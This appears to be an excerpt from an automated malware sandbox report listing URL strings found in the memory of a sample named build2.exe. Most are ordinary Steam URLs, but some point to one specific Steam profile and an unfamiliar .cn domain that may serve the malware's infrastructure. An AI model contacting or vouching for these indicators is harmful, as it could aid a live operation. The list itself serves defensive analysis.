Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=c4UneKQJ
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=2YYI
Source: build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=L35TrLJDfqtD&l=engl
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=ZVlkBFZXqRp1&l=e
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=SPpMitTYp6ku&l=en
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=1_BxDGVvfXwv&am
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: SUwX12D2S6.exe, 00000004.00000003.1792498139.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mrodevicemgr.officeapps.live.com/mrodevicemgrsvc/api
Source: build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptch
Source: build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: build2.exe, 00000008.00000002.1967987129.00000000008B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/d
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199673019888
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: build2.exe, 00000007.00000002.1787690913.0000000003560000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1889987527.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888/badges
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888/inventory/
Source: build2.exe, 00000008.00000002.1967987129.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1889987527.00000000008FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888_
Source: build2.exe, 00000007.00000002.1787690913.0000000003560000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888ve74rMozilla/5.0
Source: build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/work
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
